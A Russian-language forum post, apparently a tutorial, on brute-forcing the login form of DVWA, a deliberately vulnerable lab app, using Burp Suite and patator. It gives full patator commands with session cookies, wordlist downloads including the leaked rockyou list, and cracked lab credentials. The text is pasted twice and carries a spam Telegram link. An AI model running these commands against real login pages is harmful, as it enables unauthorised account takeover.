- Автор темы
- #1
Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa
Hello World https://t.me/blockchainSellBot
https://portswigger.net/DownloadUpdate.ashx?Product=Free
Сбор данных о работе веб-формы
Нужно начать со сбора данных о работе веб-формы. Анализ статичных данных (HTML кода) может быть трудным и очень легко что-то пропустить. Поэтому мы будем анализировать «живые» данные, которые непосредственно отправляет браузер. Для подобного анализа нам нужен прокси. Мы воспользуемся Burp Suite Free Edition.
Настройка прокси в Burp Suite для анализа данных передаваемых из веб-формы
Запустите Burp Suite, это можно сделать из меню, либо, если вы скачали свежую версию, так:
java -jar ./Downloads/burpsuite_*.jar
Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на любом не занятом порту, например, 7070. В качестве Specific Addressвыберите IP компьютера атакующего (т.е. той машины, где запущен Burp).
Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed).
Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время).
Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку.
Теперь перейдите в Proxy -> Intercept, отключите его.
Теперь в браузере открываете Настройки -> Advanced -> Network -> Connections Settings.
Там выберите Manual Proxy Configuration и в полях HTTP Proxy введите IP и порт прокси в Burp Suite.
Брут-форс веб-форм, использующих метод GET
В Web Security Dojo переходим к Damn Vulnerable Web Application (DVWA) по адресу http://localhost/dvwa/login.php
Обратите внимание, для входа у нас запрашивается логин и пароль. Мы будем брутфорсить не эту форму (хотя ничего не помешало бы нам это сделать). Эта форма служит для доступа в DVWA, страницы которой содержат уязвимые веб-приложения, в том числе те, которые предназначены для входа, но от которых мы не знаем пароли. От этой формы мы знаем пару логин:пароль, введём их. Скорее всего, после этого в наш браузер будет записана куки. При каждом обращении к страницам DVWA, сервер будет запрашивать куки и сверять – имеется ли такая сессия. Если сессия имеется, то мы будем беспрепятственно просматривать страницы DVWA. Очень хорошо, что мы обратили на это внимание – ведь нам нужно настроить наши программы для брутфорса так, чтобы и они отправляли куки с валидной сессией, иначе они не смогут «общаться» с внутренними страницами DVWA, которые содержат веб-форму, которую мы хотим брут-форсить.
Перейдите в DVWA Security и поставьте низкий уровень безопасности (Low), сохраните сделанные изменения
Переходим во вкладку Brute Force.
На самом деле, там под звёздочками уже имеется пароль пользователя admin. Но наша задача заключается узнать этот пароль с помощью брут-форса. Дополнительно в задании нам сообщили о четырёх пользователях, пароли которых также нужно узнать. Поэтому я дописываю к паролю одну цифру, чтобы сделать его заведомо неверным, нажимаю Отправить.
Важной информацией является следующее:
Теперь переходим в Burp Suite для анализа данных
Важные строки:
Вторая содержи куки, без которого нас не пустят на внутренние страницы сервера. Т.е. их также нужно обязательно указывать.
В некоторых случаях также важной могла бы оказаться строка с Referer:
Но данное веб-приложение не проверяет Referer, поэтому в программе необязательно указывать этот заголовок.
Также посмотрим ответ веб-сервера
Редиректа (Location:) и записи новых кукиз не происходит. А в ответе при неверном пароли присутствует слово «incorrect»
Мы собрали достаточно данных, переходим к составлению команды для запуска брутфорса.
Использование patator для брут-форса веб-форм, передающих данные методом GET
Если предыдущий материал показался вам сложным, то у меня для вас плохая новость – сложное начинается только сейчас. Поэтому собрались! ))
patator предназначен для брут-форса большого количества разнообразных служб (и не только служб, кстати). Для брут-форса входа веб-приложений предназначен модуль http_fuzz.
Страница patator в Энциклопедии инструментов хакера является огромной. Это связано с большим количеством доступных модулей и примеров. Давайте выпишем только те опции, которые нам могут пригодиться для подбора пароля веб-сайтов:
Глобальные опции patator (применимы ко всем модулям, в том числе и для http_fuzz):
Выполнение:
-x arg действия и условия, смотри Синтаксис ниже
--resume=r1[,rN]* возобновить предыдущий запуск
-e arg кодировать всё между двумя тэгами, смотри Синтаксис ниже
-C str разделитель строки в комбо файлах (по умолчанию это ':')
-X str разделитесь строки в условиях (по умолчанию это ',')
--allow-ignore-failures
неудачи не могут быть проигнорированы с -x (это
сделано специально во избежания ложных срабатываний)
эта опция переписывает это поведение
Оптимизация:
--rate-limit=N ждать N секунд между каждым тестом (по умолчанию это 0)
--timeout=N ждать N секунд ответа перед повторной попыткой
(по умолчанию 0)
--max-retries=N пропустить полезную нагрузку после N попыток (по
умолчанию это 4) (-1 для бесконечности)
-t N, --threads=N количество потоков (по умолчанию это 10)
Синтаксис:
-x действия:условия
действия := действие[,действие]*
действие := "ignore" | "retry" | "free" | "quit" | "reset"
условия := условие=значение[,условие=значение]*
условие := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"
ignore : не сообщать
retry : пробовать полезную нагрузку снова
free : отклонить будущие подобные полезные нагрузки
quit : прекратить выполнение сейчас
reset : закрыть текущее подключение для переподключения в следующий раз
code : соответствие коду статуса
size : соответствие размеру (N или N-M или N- or -N)
time : соответствие времени (N или N-M или N- or -N)
mesg : соответствие сообщению
fgrep : поиск строки в сообщении
egrep : поиск регулярного выражения в сообщении
Например, для игнорирования всех перенаправлений на домашнюю страницу:
... -x ignore:code=302,fgrep='Location: /home.html'
-e тэг:кодировка
тэг := любая уникальная строка (например, T@G или _@@_ или ...)
кодировка := "unhex" | "sha1" | "b64" | "url" | "hex" | "md5"
unhex : декодировать из шестнадцатеричной
sha1 : хеш в sha1
b64 : кодировать в base64
url : url кодирование
hex : кодировать в шестнадцатеричную
md5 : hash в md5
Например, для кодирования каждого пароля в base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
Опции модуля http_fuzz:
url : целевой url (схема://хост[:порт]/путь?запрос)
body : данные тела
header : использовать пользовательские заголовки
method : метод для использования [GET|POST|HEAD|...]
raw_request : загрузить запрос из файла
scheme : схема [http|https]
auto_urlencode: автоматически выполнять URL-кодирование [1|0]
user_pass : имя пользователя и пароль для HTTP аутентификации (пользователь:пароль)
auth_type : тип HTTP аутентификации [basic | digest | ntlm]
follow : следовать любому редиректу Location [0|1]
max_follow : предел редиректов [5]
accept_cookie : сохранить полученные кукиз для отправки их в следующих запросах [0|1]
http_proxy : тип прокси для использования [http|socks4|socks4a|socks5]
ssl_cert : файл клиентского SSL сертификата (cert+key в PEM формате)
timeout_tcp : секунд для ожидания TCP хендшейка [10]
timeout : секунд для ожидания HTTP ответа [20]
before_urls : разделённые запятой URL для запроса перед основным запросом
before_header : использовать пользовательский заголовок в запросе before_urls
before_egrep : извлечь данные из before_urls ответа для размещения в главный запрос
after_urls : разделённые запятыми URL для запроса после главного запроса
max_mem : сохранять не более чем N байт данных запроса+ответа в памяти [-1 (неограниченно)]
persistent : использовать постоянные соединения [1|0]
Давайте начнём строить нашу команду для запуска перебора паролей с помощью patator.
Начинаться она будет с ./patator.py http_fuzz, здесь ./patator.py – это расположение файла скрипта, а http_fuzz – название используемого модуля.
Как мы помним, серверу передаётся строка /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login, которая является относительным адресом страницы. Абсолютный адрес в нашем случае выглядит так http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login. Этот адрес мы указываем с опцией url: url="http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login"
Слово admin мы заменяем на заполнитель FILE0 а вместо password11 указываем второй заполнитель FILE1. В итоге адрес, который мы будем запрашивать каждый раз на веб-сервере, и который мы указываем с опцией url становится таким: url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login"
Также нам нужно указать расположение файлов с именами пользователей и паролями. Обратите внимание, вместо FILE0 и FILE1 используется сокращённая запись 0= и 1=. Файлы расположены в той же директории, что и скрипт patator, поэтому к нашей команде я добавляю 0=namelist.txt 1=password_medium.txt
Далее мы добавляем используемый метод: method=GET
Куки передаются в заголовках, поэтому добавляем наши куки строкой: header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2'
Теперь после опции -x нам нужно указать действие и условие таким образом, чтобы при успешном входе подобранные логин и пароль выводились нам, а неудачные попытки – нет. Неудачной попыткой являются те, когда в присылаемом от сервера ответе присутствует слово incorrect. В качестве действия мы выбираем ignore. Тогда получается -x ignore:fgrep='incorrect'.
Соберём всё вместе, в конечном счёте получается следующая команда:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=namelist.txt 1=password_medium.txt -x ignore:fgrep='incorrect'
Обратите внимание, что если вы попытаетесь использовать эту же команду в Web Security Dojo в Damn Vulnerable Web Application (DVWA), скачаете эти же самые словари, которые я использую, то у вас всё равно ничего не получится! Поскольку вам значение 1n3b0ma83kl75996udoiufuvc2 (куки) нужно поменять на своё.
Перебор затянется на длительное время, логи Apache (чтобы убедиться, что процесс идёт), можно смотреть следующей командой:
tail /var/log/apache2/access.log -n 100
Чтобы посмотреть прогресс в самой программе, нажмите [ENTER]. Для просмотра всех доступных интерактивных команд, нажмите h.
Вот результат выполнения брут-форса:
03:28:56 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-09 03:28 EDT
03:28:56 patator INFO 03:28:56 patator INFO - code size:clen time | candidate | num | mesg
03:28:56 patator INFO - -----------------------------------------------------------------------------
03:30:51 patator INFO - 200 5312:5002 0.030 | admin:password | 32964 | HTTP/1.1 200 OK
03:30:54 patator INFO - 200 5312:5002 0.041 | admin:password | 32965 | HTTP/1.1 200 OK
04:51:34 patator INFO - 200 5312:5002 0.046 | admin:password | 1400702 | HTTP/1.1 200 OK
04:51:35 patator INFO - 200 5312:5002 0.041 | admin:password | 1400701 | HTTP/1.1 200 OK
05:41:13 patator INFO - Hits/Done/Skip/Fail/Size: 4/2096668/0/0/2096668, Avg: 264 r/s, Time: 2h 12m 17s
С одной стороны, программу минимум мы выполнили и нашли пароль администратора. Но мы не нашли ни одного (из четырёх) паролей пользователя.
Скорость перебора составила 264 протестированных комбинации за секунду.
И ещё обратите внимание, что одну и ту же учётную запись мы взломали четыре раза. Это не ошибка patator – это проблема наших словарей, в которых одни и те же имена пользователя и/или пароли повторялись несколько раз. Для брут-форса веб-приложений это плохо. Кстати, давайте посчитаем,
Всего было протестировано 2096668 комбинации логин:пароль. Это можно проверить и самому. Посчитаем количество имён пользователя:
cat namelist.txt | wc -l
2908
Посчитаем количество паролей:
cat password_medium.txt | wc -l
721
Всего комбинаций: 2908*721=2096668
А теперь давайте удалим дубликаты и снова посчитаем количество комбинаций:
cat namelist.txt | sort | uniq > namelist_new.txt
cat password_medium.txt | sort | uniq > password_medium_new.txt
cat namelist_new.txt | wc -l
2486
cat password_medium_new.txt | wc -l
706
2486*706=1755116
Т.е. если бы мы догадались начать с удаления дубликатов, то количество комбинаций, необходимых для тестирования, сократилось бы примерно на 350 тысяч… Пусть это послужит нам уроком.
Мы не узнали данных ни одного из четырёх пользователей. Нам нужны новые словари для продолжения брут-форса, но давайте введём полученные данные учётной записи admin:password и продолжим исследование веб-приложения. Мы видим фотографию пользователя:
Фотография размещена по адресу http://localhost/dvwa/hackable/users/admin.jpg. А что если мы заглянем в папку http://localhost/dvwa/hackable/users/ ?...
Я почти уверен, что название файлов изображений соответствуют именам пользователей, т.е. это
1337
gordonb
pablo
smithy
wget https://kali.tools/files/passwords/password_dictionaries/500-worst-passwords.txt.bz2
bunzip2 500-worst-passwords.txt.bz2
Теперь моя команда с новыми словарями выглядит так:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=500-worst-passwords.txt -x ignore:fgrep='incorrect'
Результат:
04:21:04 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-15 04:21 EDT
04:21:04 patator INFO -
04:21:04 patator INFO - code size:clen time | candidate | num | mesg
04:21:04 patator INFO - -----------------------------------------------------------------------------
04:21:06 patator INFO - 200 5316:5006 0.027 | gordonb:abc123 | 518 | HTTP/1.1 200 OK
04:21:08 patator INFO - 200 5313:5003 0.031 | pablo :letmein | 1011 | HTTP/1.1 200 OK
04:21:11 patator INFO - 200 5314:5004 0.011 | smithy:password | 1502 | HTTP/1.1 200 OK
04:21:12 patator INFO - Hits/Done/Skip/Fail/Size: 3/2000/0/0/2000, Avg: 250 r/s, Time: 0h 0m 7s
Ну наконец-то и на моей улице праздник. Буквально за считанные секунды я взломал пароли для трёх учётных записей из четырёх.
Из файла opened_names.txt я убираю все строки, кроме 1337 (чтобы уже взломанные пользователи не отнимали время). Попробую с таким сочетанием:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=password_medium_new.txt -x ignore:fgrep='incorrect'
Без результата.
Возьмём молоток побольше — Rockyou:
wget https://kali.tools/files/passwords/leaked_passwords/rockyou.txt.bz2
bunzip2 rockyou.txt.bz2
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=rockyou.txt -x ignore:fgrep='incorrect'
Результат получен на удивление быстро:
Недостающая пара: 1337:charley
Ещё из скриншота видны ложные срабатывания, когда в пароле присутствуют специальные символы. Это может означать наличие другой уязвимости, например, SQL-инъекции.
Hello World https://t.me/blockchainSellBot

https://portswigger.net/DownloadUpdate.ashx?Product=Free
Сбор данных о работе веб-формы
Нужно начать со сбора данных о работе веб-формы. Анализ статичных данных (HTML кода) может быть трудным и очень легко что-то пропустить. Поэтому мы будем анализировать «живые» данные, которые непосредственно отправляет браузер. Для подобного анализа нам нужен прокси. Мы воспользуемся Burp Suite Free Edition.
Настройка прокси в Burp Suite для анализа данных передаваемых из веб-формы
Запустите Burp Suite, это можно сделать из меню, либо, если вы скачали свежую версию, так:
java -jar ./Downloads/burpsuite_*.jar
Переходим во вкладку Proxy -> Options. Там в самом верху в Proxy Listeners нажимаем Add и добавляем новый прослушиватель: на любом не занятом порту, например, 7070. В качестве Specific Addressвыберите IP компьютера атакующего (т.е. той машины, где запущен Burp).
Здесь же перейдите во вкладку Request handling и поставьте галочку на Support invisible proxying (enable only if needed).
Когда добавите новый прослушиватель, поставьте галочку там, где Running (это будет означать, что он задействован в данное время).
Теперь спуститесь в самый низ, найдите Allow requests to web interface using fully-qualifyed DNS hostnames и поставьте там галочку.
Теперь перейдите в Proxy -> Intercept, отключите его.
Теперь в браузере открываете Настройки -> Advanced -> Network -> Connections Settings.
Там выберите Manual Proxy Configuration и в полях HTTP Proxy введите IP и порт прокси в Burp Suite.
Брут-форс веб-форм, использующих метод GET
В Web Security Dojo переходим к Damn Vulnerable Web Application (DVWA) по адресу http://localhost/dvwa/login.php
Обратите внимание, для входа у нас запрашивается логин и пароль. Мы будем брутфорсить не эту форму (хотя ничего не помешало бы нам это сделать). Эта форма служит для доступа в DVWA, страницы которой содержат уязвимые веб-приложения, в том числе те, которые предназначены для входа, но от которых мы не знаем пароли. От этой формы мы знаем пару логин:пароль, введём их. Скорее всего, после этого в наш браузер будет записана куки. При каждом обращении к страницам DVWA, сервер будет запрашивать куки и сверять – имеется ли такая сессия. Если сессия имеется, то мы будем беспрепятственно просматривать страницы DVWA. Очень хорошо, что мы обратили на это внимание – ведь нам нужно настроить наши программы для брутфорса так, чтобы и они отправляли куки с валидной сессией, иначе они не смогут «общаться» с внутренними страницами DVWA, которые содержат веб-форму, которую мы хотим брут-форсить.
Перейдите в DVWA Security и поставьте низкий уровень безопасности (Low), сохраните сделанные изменения
Переходим во вкладку Brute Force.
На самом деле, там под звёздочками уже имеется пароль пользователя admin. Но наша задача заключается узнать этот пароль с помощью брут-форса. Дополнительно в задании нам сообщили о четырёх пользователях, пароли которых также нужно узнать. Поэтому я дописываю к паролю одну цифру, чтобы сделать его заведомо неверным, нажимаю Отправить.
Важной информацией является следующее:
- при неверном пароле сервер выдаёт надпись «Username and/or password incorrect.»
- судя по адресу http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login# сервер использует отправку данных методом GET.
Теперь переходим в Burp Suite для анализа данных
Важные строки:
- GET /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login HTTP/1.1
- Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2
Вторая содержи куки, без которого нас не пустят на внутренние страницы сервера. Т.е. их также нужно обязательно указывать.
В некоторых случаях также важной могла бы оказаться строка с Referer:
Но данное веб-приложение не проверяет Referer, поэтому в программе необязательно указывать этот заголовок.
Также посмотрим ответ веб-сервера
Редиректа (Location:) и записи новых кукиз не происходит. А в ответе при неверном пароли присутствует слово «incorrect»
Мы собрали достаточно данных, переходим к составлению команды для запуска брутфорса.
Использование patator для брут-форса веб-форм, передающих данные методом GET
Если предыдущий материал показался вам сложным, то у меня для вас плохая новость – сложное начинается только сейчас. Поэтому собрались! ))
patator предназначен для брут-форса большого количества разнообразных служб (и не только служб, кстати). Для брут-форса входа веб-приложений предназначен модуль http_fuzz.
Страница patator в Энциклопедии инструментов хакера является огромной. Это связано с большим количеством доступных модулей и примеров. Давайте выпишем только те опции, которые нам могут пригодиться для подбора пароля веб-сайтов:
Глобальные опции patator (применимы ко всем модулям, в том числе и для http_fuzz):
Выполнение:
-x arg действия и условия, смотри Синтаксис ниже
--resume=r1[,rN]* возобновить предыдущий запуск
-e arg кодировать всё между двумя тэгами, смотри Синтаксис ниже
-C str разделитель строки в комбо файлах (по умолчанию это ':')
-X str разделитесь строки в условиях (по умолчанию это ',')
--allow-ignore-failures
неудачи не могут быть проигнорированы с -x (это
сделано специально во избежания ложных срабатываний)
эта опция переписывает это поведение
Оптимизация:
--rate-limit=N ждать N секунд между каждым тестом (по умолчанию это 0)
--timeout=N ждать N секунд ответа перед повторной попыткой
(по умолчанию 0)
--max-retries=N пропустить полезную нагрузку после N попыток (по
умолчанию это 4) (-1 для бесконечности)
-t N, --threads=N количество потоков (по умолчанию это 10)
Синтаксис:
-x действия:условия
действия := действие[,действие]*
действие := "ignore" | "retry" | "free" | "quit" | "reset"
условия := условие=значение[,условие=значение]*
условие := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"
ignore : не сообщать
retry : пробовать полезную нагрузку снова
free : отклонить будущие подобные полезные нагрузки
quit : прекратить выполнение сейчас
reset : закрыть текущее подключение для переподключения в следующий раз
code : соответствие коду статуса
size : соответствие размеру (N или N-M или N- or -N)
time : соответствие времени (N или N-M или N- or -N)
mesg : соответствие сообщению
fgrep : поиск строки в сообщении
egrep : поиск регулярного выражения в сообщении
Например, для игнорирования всех перенаправлений на домашнюю страницу:
... -x ignore:code=302,fgrep='Location: /home.html'
-e тэг:кодировка
тэг := любая уникальная строка (например, T@G или _@@_ или ...)
кодировка := "unhex" | "sha1" | "b64" | "url" | "hex" | "md5"
unhex : декодировать из шестнадцатеричной
sha1 : хеш в sha1
b64 : кодировать в base64
url : url кодирование
hex : кодировать в шестнадцатеричную
md5 : hash в md5
Например, для кодирования каждого пароля в base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64
Опции модуля http_fuzz:
url : целевой url (схема://хост[:порт]/путь?запрос)
body : данные тела
header : использовать пользовательские заголовки
method : метод для использования [GET|POST|HEAD|...]
raw_request : загрузить запрос из файла
scheme : схема [http|https]
auto_urlencode: автоматически выполнять URL-кодирование [1|0]
user_pass : имя пользователя и пароль для HTTP аутентификации (пользователь:пароль)
auth_type : тип HTTP аутентификации [basic | digest | ntlm]
follow : следовать любому редиректу Location [0|1]
max_follow : предел редиректов [5]
accept_cookie : сохранить полученные кукиз для отправки их в следующих запросах [0|1]
http_proxy : тип прокси для использования [http|socks4|socks4a|socks5]
ssl_cert : файл клиентского SSL сертификата (cert+key в PEM формате)
timeout_tcp : секунд для ожидания TCP хендшейка [10]
timeout : секунд для ожидания HTTP ответа [20]
before_urls : разделённые запятой URL для запроса перед основным запросом
before_header : использовать пользовательский заголовок в запросе before_urls
before_egrep : извлечь данные из before_urls ответа для размещения в главный запрос
after_urls : разделённые запятыми URL для запроса после главного запроса
max_mem : сохранять не более чем N байт данных запроса+ответа в памяти [-1 (неограниченно)]
persistent : использовать постоянные соединения [1|0]
Давайте начнём строить нашу команду для запуска перебора паролей с помощью patator.
Начинаться она будет с ./patator.py http_fuzz, здесь ./patator.py – это расположение файла скрипта, а http_fuzz – название используемого модуля.
Как мы помним, серверу передаётся строка /dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login, которая является относительным адресом страницы. Абсолютный адрес в нашем случае выглядит так http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login. Этот адрес мы указываем с опцией url: url="http://localhost/dvwa/vulnerabilities/brute/?username=admin&password=password11&Login=Login"
Слово admin мы заменяем на заполнитель FILE0 а вместо password11 указываем второй заполнитель FILE1. В итоге адрес, который мы будем запрашивать каждый раз на веб-сервере, и который мы указываем с опцией url становится таким: url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login"
Также нам нужно указать расположение файлов с именами пользователей и паролями. Обратите внимание, вместо FILE0 и FILE1 используется сокращённая запись 0= и 1=. Файлы расположены в той же директории, что и скрипт patator, поэтому к нашей команде я добавляю 0=namelist.txt 1=password_medium.txt
Далее мы добавляем используемый метод: method=GET
Куки передаются в заголовках, поэтому добавляем наши куки строкой: header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2'
Теперь после опции -x нам нужно указать действие и условие таким образом, чтобы при успешном входе подобранные логин и пароль выводились нам, а неудачные попытки – нет. Неудачной попыткой являются те, когда в присылаемом от сервера ответе присутствует слово incorrect. В качестве действия мы выбираем ignore. Тогда получается -x ignore:fgrep='incorrect'.
Соберём всё вместе, в конечном счёте получается следующая команда:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=namelist.txt 1=password_medium.txt -x ignore:fgrep='incorrect'
Обратите внимание, что если вы попытаетесь использовать эту же команду в Web Security Dojo в Damn Vulnerable Web Application (DVWA), скачаете эти же самые словари, которые я использую, то у вас всё равно ничего не получится! Поскольку вам значение 1n3b0ma83kl75996udoiufuvc2 (куки) нужно поменять на своё.
Перебор затянется на длительное время, логи Apache (чтобы убедиться, что процесс идёт), можно смотреть следующей командой:
tail /var/log/apache2/access.log -n 100
Чтобы посмотреть прогресс в самой программе, нажмите [ENTER]. Для просмотра всех доступных интерактивных команд, нажмите h.
Вот результат выполнения брут-форса:
03:28:56 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-09 03:28 EDT
03:28:56 patator INFO 03:28:56 patator INFO - code size:clen time | candidate | num | mesg
03:28:56 patator INFO - -----------------------------------------------------------------------------
03:30:51 patator INFO - 200 5312:5002 0.030 | admin:password | 32964 | HTTP/1.1 200 OK
03:30:54 patator INFO - 200 5312:5002 0.041 | admin:password | 32965 | HTTP/1.1 200 OK
04:51:34 patator INFO - 200 5312:5002 0.046 | admin:password | 1400702 | HTTP/1.1 200 OK
04:51:35 patator INFO - 200 5312:5002 0.041 | admin:password | 1400701 | HTTP/1.1 200 OK
05:41:13 patator INFO - Hits/Done/Skip/Fail/Size: 4/2096668/0/0/2096668, Avg: 264 r/s, Time: 2h 12m 17s
С одной стороны, программу минимум мы выполнили и нашли пароль администратора. Но мы не нашли ни одного (из четырёх) паролей пользователя.
Скорость перебора составила 264 протестированных комбинации за секунду.
И ещё обратите внимание, что одну и ту же учётную запись мы взломали четыре раза. Это не ошибка patator – это проблема наших словарей, в которых одни и те же имена пользователя и/или пароли повторялись несколько раз. Для брут-форса веб-приложений это плохо. Кстати, давайте посчитаем,
Всего было протестировано 2096668 комбинации логин:пароль. Это можно проверить и самому. Посчитаем количество имён пользователя:
cat namelist.txt | wc -l
2908
Посчитаем количество паролей:
cat password_medium.txt | wc -l
721
Всего комбинаций: 2908*721=2096668
А теперь давайте удалим дубликаты и снова посчитаем количество комбинаций:
cat namelist.txt | sort | uniq > namelist_new.txt
cat password_medium.txt | sort | uniq > password_medium_new.txt
cat namelist_new.txt | wc -l
2486
cat password_medium_new.txt | wc -l
706
2486*706=1755116
Т.е. если бы мы догадались начать с удаления дубликатов, то количество комбинаций, необходимых для тестирования, сократилось бы примерно на 350 тысяч… Пусть это послужит нам уроком.
Мы не узнали данных ни одного из четырёх пользователей. Нам нужны новые словари для продолжения брут-форса, но давайте введём полученные данные учётной записи admin:password и продолжим исследование веб-приложения. Мы видим фотографию пользователя:
Фотография размещена по адресу http://localhost/dvwa/hackable/users/admin.jpg. А что если мы заглянем в папку http://localhost/dvwa/hackable/users/ ?...
Я почти уверен, что название файлов изображений соответствуют именам пользователей, т.е. это
- 1337
- gordonb
- pablo
- smithy
1337
gordonb
pablo
smithy
wget https://kali.tools/files/passwords/password_dictionaries/500-worst-passwords.txt.bz2
bunzip2 500-worst-passwords.txt.bz2
Теперь моя команда с новыми словарями выглядит так:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=500-worst-passwords.txt -x ignore:fgrep='incorrect'
Результат:
04:21:04 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2016-09-15 04:21 EDT
04:21:04 patator INFO -
04:21:04 patator INFO - code size:clen time | candidate | num | mesg
04:21:04 patator INFO - -----------------------------------------------------------------------------
04:21:06 patator INFO - 200 5316:5006 0.027 | gordonb:abc123 | 518 | HTTP/1.1 200 OK
04:21:08 patator INFO - 200 5313:5003 0.031 | pablo :letmein | 1011 | HTTP/1.1 200 OK
04:21:11 patator INFO - 200 5314:5004 0.011 | smithy:password | 1502 | HTTP/1.1 200 OK
04:21:12 patator INFO - Hits/Done/Skip/Fail/Size: 3/2000/0/0/2000, Avg: 250 r/s, Time: 0h 0m 7s
Ну наконец-то и на моей улице праздник. Буквально за считанные секунды я взломал пароли для трёх учётных записей из четырёх.
Из файла opened_names.txt я убираю все строки, кроме 1337 (чтобы уже взломанные пользователи не отнимали время). Попробую с таким сочетанием:
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=password_medium_new.txt -x ignore:fgrep='incorrect'
Без результата.
Возьмём молоток побольше — Rockyou:
wget https://kali.tools/files/passwords/leaked_passwords/rockyou.txt.bz2
bunzip2 rockyou.txt.bz2
./patator.py http_fuzz url="http://localhost/dvwa/vulnerabilities/brute/?username=FILE0&password=FILE1&Login=Login" method=GET header='Cookie: security=low; PHPSESSID=1n3b0ma83kl75996udoiufuvc2' 0=opened_names.txt 1=rockyou.txt -x ignore:fgrep='incorrect'
Результат получен на удивление быстро:
Недостающая пара: 1337:charley
Ещё из скриншота видны ложные срабатывания, когда в пароле присутствуют специальные символы. Это может означать наличие другой уязвимости, например, SQL-инъекции.